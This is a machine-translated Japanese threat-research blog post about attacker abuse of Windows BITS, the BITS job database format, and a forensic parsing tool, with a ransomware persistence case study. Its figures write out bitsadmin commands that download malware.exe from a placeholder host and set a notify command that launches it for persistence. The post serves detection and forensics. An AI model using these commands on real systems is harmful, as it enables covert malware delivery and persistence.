ブログ(脅威調査)

少し前に戻る:Windows Background Intelligent Transfer Serviceの攻撃者による利用

このブログの記事では、次のような説明をします。

  • 攻撃者がBackground Intelligent Transfer Service (BITS)を使用する方法
  • データ・フォーマット指定による攻撃者の活動を検出するためのフォレンジック技術
  • BitsParserツールの公開リリース
  • BITSの持続性を使用したマルウェアの実例

はじめに

Microsoftは、大容量ファイルのダウンロードとアップロードを簡素化および調整するために、Windows XPにBackground Intelligent Transfer Service (BITS)を導入しました。アプリケーションとシステム・コンポーネント (特にWindows Update) は、BITSを使用してオペレーティング・システムとアプリケーションの更新を配信し、ユーザーの混乱を最小限に抑えながらダウンロードできるようにしました。

アプリケーションは、ダウンロードまたはアップロードする1つ以上のファイルを持つジョブを作成することで、Background Intelligent Transfer Service (BITS)と対話します。BITSサービスはサービス・ホスト・プロセスで実行され、いつでも転送が発生するようにスケジュールできます。ジョブ、ファイル、および状態の情報は、ローカル・データベースに保管されます。

攻撃者によるBITSの使用方法

多くの技術と同様に、BITSは正当なアプリケーションと攻撃者の両方で使用できます。悪意のあるアプリケーションがBITSジョブを作成すると、サービス・ホスト・プロセスの環境でファイルがダウンロードまたはアップロードされます。これは、悪意のあるプロセスや不明なプロセスをブロックする可能性があるファイアウォールを回避する場合に役立ち、転送を要求したアプリケーションを不明確にするのに役立ちます。BITS転送は、長時間実行されるプロセスやタスク・スケジューラーに依存せずに、特定の時間に実行できるようにスケジュールすることもできます。

ビット転送は非同期であるため、要求された転送が完了したときに、ジョブを作成したアプリケーションが実行されない場合があります。このシナリオに対処するために、BITSジョブがユーザー指定の通知コマンドを使用して作成されます。このコマンドは、ジョブの完了後、またはエラーが発生した場合に実行されます。BITSジョブに関連付けられた通知コマンドは、実行する任意の実行ファイルまたはコマンドを指定できます。攻撃者は、悪意のあるアプリケーションの持続性を維持するための手段としてこの機能を利用しています。

BITSジョブのコマンド・データは、従来のレジストリの場所ではなくデータベースに保存されるため、持続性実行可能ファイルとコマンドを特定しようとするツールや、フォレンジックの研究者によって見落とされる可能性があります。

BITSジョブは、API関数呼び出しまたはbitsadminコマンド・ライン・ツールを使用して作成できます。BITSジョブを使用してファイルをダウンロードし、実行をトリガーする方法の例については、図1および図2を参照してください。

> bitsadmin /create download
> bitsadmin /addfile download https://<site>/malware.exe c:\windows\malware.exe
> bitsadmin /resume download
> bitsadmin /complete download

Created job {EA8603EB-7CC2-44EC-B1EE-E9923290C2ED}.
Added https://<site>/malware.exe -> c:\windows\malware.exe to job.
Job resumed.
Job completed.

図1:bitsadminを使用して、悪意のある実行可能ファイルをダウンロードし、c:\windows\malware.exeに保存するジョブを作成します。

> bitsadmin /create persistence
> bitsadmin /addfile persistence http://127.0.0.1/invalid.exe c:\windows\i.exe
> bitsadmin /SetNotifyCmdLine persistence c:\windows\malware.exe NULL
> bitsadmin /resume persistence


図2:bitsadminを使用して、無効なURLをダウンロードしようとした後にmalware.exeを起動するジョブを作成します。

BitsParserの作成

調査を通じて、Mandiantのコンサルタントは、複数のキャンペーンにわたってBITSを活用する攻撃者が存在する証拠を特定しました。BITSの攻撃者利用の証拠を検索するために、BITSが使用する基盤となるインフラストラクチャを理解し、関連情報を収集できるツールを作成する必要がありました。

BitsParserを作成しました。BITSデータベースを解析し、エンドポイント・システムで実行されたジョブに関する情報を返します。このツールは、エンドポイント・エージェントを介してMandiantのコンサルタントによって内部的に実行され、企業全体の多くのホストからBITSデータを取得できるようにします。BitsParserは、多くの調査で攻撃者のダウンロード、アップロード、持続性を明らかにするために正常に使用されています。

カスタム・データベース形式を処理するために、BitsParserはオープンソースのANSSI-FRライブラリを利用します。このライブラリでは、BITSデータベース・ファイルからアクティブなエントリと削除されたエントリの両方を解析でき、ジョブ・レコードとファイル・レコードから関連情報を完全に抽出できます。

QMGRデータベース

BITSジョブと関連する状態情報は、%ALLUSERSPROFILE%\Microsoft\Network\Downloaderディレクトリの" queue manager "(QMGR)データベース・ファイルにローカルで保存されます。データベースは、qmgr0.datおよびqmgr1.datという名前のファイルに格納されます。2ファイル・スキームは、バックアップと同期の目的で使用されるようです。2番目のファイルには、ジョブ情報とファイル情報の重複がほとんど含まれていますが、独自のエントリまたは古いエントリがファイル内にいくつかあります。

Windows10の変更点

Background Intelligent Transfer Serviceは、導入以来ほとんど変更されていません。ただし、Windows10では、すべての新しいデータベース形式などサービスに大幅な変更が加えられました。Windows10では、QMGRデータベースはExtensible Storage Engine (ESE)形式を使用して保存されます。ESEデータベースは、Exchange、Active Directory、Internet Explorerなど、他の多くのMicrosoft製品で使用されています。

Windows10は、qmgr. dbという1つのファイルにQMGRデータベースを格納します。別々のトランザクション・ログ・ファイルは、同じディレクトリに保持されます。最新のトランザクション・ログはedb.logというファイルに保管され、通常は数字の接尾部を持つ3つの古いトランザクション・ログが存在します。

ESEデータベースの解析

Windows10システムで調査をサポートするため、新しいQMGRデータベース形式がサポートできるようBitsParserツールを更新しました。これを実現するには、PythonベースのESEデータベース・パーサーが必要でした。結果として、libesedbが生まれました。libesedbは、Pythonラッパーを使い、Cで書かれた完全なESEデータベース実装です。他のPythonオプションを使用できない場合は、Windows10QMGRデータベースを解析するために、BitsParserでlibesedbを最初に使用しました。しかし、私たちは、ネイティブの実行ファイルに依存せず、大規模展開での効率向上のために、よりコンパクトなソリューションを求めました。

私たちが特定した純粋なPython ESEデータベース実装だけが、Impacketネットワーク・ツールセットの一部でした。ソースコードは基本的なデータベース列挙を実行できますが、長い値を処理する能力を含む主要な機能がありませんでした。QMGRデータベースには長い値が必要となるのに十分な大きさのエントリが含まれているため、Impacket実装の変更が必要でした。Impacket ESEデータベース解析コードをより堅牢にし、QMGRデータベースの解析に必要なすべての機能をサポートするように改良しました。完全なPythonソリューションは、ネイティブ・コードのリスクや制限なしに、はるかに小さいパッケージでデータベース解析を可能にします。

データベース構造

Windows10QMGRデータベースには、ジョブとファイルの2つのテーブルが含まれています。両方のテーブルには、IdとBlobの2つの列があります。Idにはエントリを識別するためのGUIDが含まれ、Blobにはジョブまたはファイルを定義するバイナリデータが含まれます。幸運なことに、ジョブとファイルの構造は、以前のデータベース形式からほとんど変更されていません。

ジョブ・データは、制御構造から始まります:

Offset

Field

Size

0

Type

4

4

Priority

4

8

State

4

...

 

 

16

Job ID (GUID)

16

32

Name (UTF-16)

variable

variable

Description (UTF-16)

variable

variable

Command (UTF-16)

variable

variable

Arguments (UTF-16)

variable

variable

User SID (UTF-16)

variable

variable

Flags

4

制御構造に続いて、XFER GUID、{7756DA36-516F-435A-ACAC-44A248FF34D}で区切られたファイルのリストを示します。リストは4バイトのファイル・カウントで始まり、その後にGUIDのリストが続きます。これはFiles表のId値に対応します。

ファイル・データは次の構造を使用します:

Field

Size

Destination Filename (UTF-16)

variable

Source Filename (UTF-16)

variable

Temporary Filename (UTF-16)

variable

Download Size

8

Transfer Size

8

unknown

1

Drive (UTF-16)

variable

Volume GUID (UTF-16)

variable

データベースは、Job表のエントリを列挙し、各ジョブ・データを解析し、相関ファイルを見つけ、Files表の対応するレコードを解析することによって処理されます。これにより、BitsParserは関連情報と出力ジョブを、関連するメタデータを含むファイルと組み合わせることができます。

削除したレコードの復元

アクティブなジョブは、Job表とFiles表に登録されています。ジョブが終了またはキャンセルされると、記録は削除されます。他のファイル・システムやデータ形式と同様に、削除されたエントリはすぐには上書きされず、削除後しばらくの間リカバリできます。

Windows10QMGRデータベースから削除されたジョブとファイルを復元するには、次のアルゴリズムが使用されます。

  1. ファイル識別子GUID、{519ECFE4-D946-4397-B73E-268513051AB2}を検索してファイル・レコードを特定します。そのデータを通常のファイル・レコードとして解析を試みます。
  2. ジョブ識別子GUIDを検索して、ジョブ・レコードを見つけます。そのデータを通常のジョブ・レコードとして解析を試みます。不完全なジョブ・エントリを処理するには、制御構造のみを解析し、必要に応じて関連ファイルを手動で見つけます。 QMGRデータベースでは、以下のジョブGUIDが観察されています。
    1. {E10956A1-AF43-42C9-92E6-6F9856EBA7F6}
    2. {4CD4959F-7064-4BF2-84D7-476A7E62699F}
    3. {A92619F1-0332-4CBF-9427-898818958831}
    4. {DDBC33C1-5AFB-4DAF-B8A1-2268B39D01AD}
    5. {8F5657D0-012C-4E3E-AD2C-F4A5D7656FAF}
    6. {94416750-0357-461D-A4CC-5DD9990706E4}
  3. カーブ・ファイルの記録とカーブ・ジョブとを相関します。アクティブなジョブまたは削除されたジョブに関連付けることができなかった残りすべてのファイル・レコードを処理します。

履歴記録は、トランザクション・ログ・ファイルにもあります。トランザクション・ログ構造を解析しませんが、同じアルゴリズムを使用して、適切なGUIDを検索することにより、ログ内のジョブ・レコードとファイル・レコードを検索できます。複数のファイルに同じレコードが存在する場合もありますが、重複を抑止して情報の重複出力を防ぐことができます。

BitsParserツールのリリース

このブログの執筆時点では、BITSデータベースを解析し、インシデントレスポンスやフォレンジック調査に役立つデータを抽出するために利用可能なオープンソース・ツールを確認できていません。これに対処し、さらなる調査を促進するために、FireEyeはBitsParserのスタンドアロン・バージョンをリリースすることにしました。このコマンド・ライン・ユーティリティは、すべてのバージョンのBITSデータベースを処理し、削除されたジョブおよびファイル情報を復元するためのカービングを実行できます。

BitsParserのソースコードは、GitHubページを参照してください。

Windows10では、QMGRデータベース・ファイルはBITSサービスによって共有されずに開かれるため、他のプログラムが直接開くことができないことに注意してください。BitsParserがFireEyeエンドポイント・エージェントを介してデプロイされると、直接的に読み取ることができない状況でローカルのファイルシステムと生の読み込みファイルを直接的に解析することができます。スタンドアロンのBitsParserにはこの能力はありません。BITSサービスは、BitsParserを実行する前に停止するか、ロックされたファイルをコピーするサードパーティ・ツールを使用する必要があります。

流行しているBITSの持続性

2020年にMandiantは、カスタム・バックドアとローダーを活用して、病院や医療サポート・センターを活発に狙うRyukランサムウェアのオペレーターを含む多くのインシデントに対応しました(ブログ記事「アンハッピーアワースペシャル:KEGTAPとSINGLEMALTにランサムウェアをチェイサーで」を参照)。多数のエンゲージメントを通じて、Mandiantは攻撃者のツールのテクニックと手順(TTP)をプロファイリングし、暗号化の前に活用されたさまざまなバックドアとローダーの独自の側面を特定することができました。このような関与の一例として、Mandiantコンサルタントは、攻撃タイムラインの大部分を、最初の悪用から、企業の情報源の暗号化と恐喝需要にマップしました。顧客のオンプレミス・エンドポイント検知ソリューションによって提供されるログ解析とテレメトリにより、エンドユーザー・ワークステーションのKEGTAPバックドアが特定されました。Mandiantは、KEGTAPを起動したmail.exeのダウンロードと実行を含むランサムウェア・オペレーターが使用する固有のEメールとルアーを特定することができました。しかし、Mandiantが他の関与を観察した持続的メカニズムはいずれも、このエンドポイントには存在しませんでした。

持続的メカニズムを完全に理解することで、Mandiantは、攻撃者の活動の追加証拠を、環境全体や他のエンゲージメントにおいてハントできるようになります。焦点が集中することによって、Mandiantコンサルタントは、BITSサービスがKEGTAPバックドアを開始したことを示す証拠を特定しました。アナリストは、BITSサービス・アクティビティをファイルmail.exeに関連付けたMicrosoft-Windows-Bits-Clientオペレーショナル・イベント・ログのエントリを特定しました。

3 | Information | The BITS service created a new job: System update, with owner REDACTED

61 | Warning | BITS stopped transferring the System update transfer job that is associated with the http://127.0.0.1/tst/56/ URL. The status code is 2147954429.  

64 | Warning | The BITS job System update is configured to launch C:\Users\REDACTED\AppData\Local\Microsoft\Windows\INetCache\IE\REDACTED\mail.exe after transfer of http://127.0.0.1/tst/12/. The service failed to launch the program with error 2147942402, BITS will continue trying to launch the program periodically until it succeeds.  

図3:持続性のためのBITSジョブ作成を示すイベント・ログ・エントリ

Mandiantコンサルタントは、ホストと対話し、QMGRデータベースを調べることにより、BITSジョブの詳細を確認することができました。悪意のあるBITSジョブが、ローカル・ホストから存在しないファイルのHTTP転送を試行するように設定されました。このファイルは存在しないため、BITSはエラー状態をトリガーし、notifyコマンド(この場合はKEGTAP) を起動します。

残念ながら、これによってこの脅威グループに関連する以前は不明だった持続的メカニズムを特定することになってしまいましたが、手動によるQMGRデータベース解析は、複数のシステムや環境にわたって拡張することはありません。既存のBitsParserをWindows10版のQMGRデータベースを解析するように調整すると、Mandiantコンサルタントは複数の環境にまたがる追加の感染システムを効率的に特定できます。

{
    "JobType": "download",
    "JobPriority": "normal",
    "JobState": "queued",
    "JobName": "System update",
    "CommandExecuted": "C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe",
    "Files": [
        {
            "DestFile": "C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe",
            "SourceURL": "http://127.0.0.1/tst/56/",
            "DownloadByteSize": 0
        }
    ]
}

図4:mail.exeを起動する悪意のあるBITSジョブを示すBitsParserの出力

結論

Background Intelligent Transfer Service (BITS)は、引き続きアプリケーションや攻撃者に同様のユーティリティを提供します。BITS QMGRデータベースは、調査またはハンティング・オペレーションで役立つデータソースを提供できます。BitsParserは、攻撃者の活動の詳細な所見を発展させるために、他のフォレンジック・ツールと共に利用することができます。

 

本ブログは機械翻訳(MT)を使用して翻訳しています。原文と翻訳版の意味、文言が異なる場合は原文を有効とします。

原文:March 31, 2021 「Back in a Bit: Attacker Use of the Windows Background Intelligent Transfer Service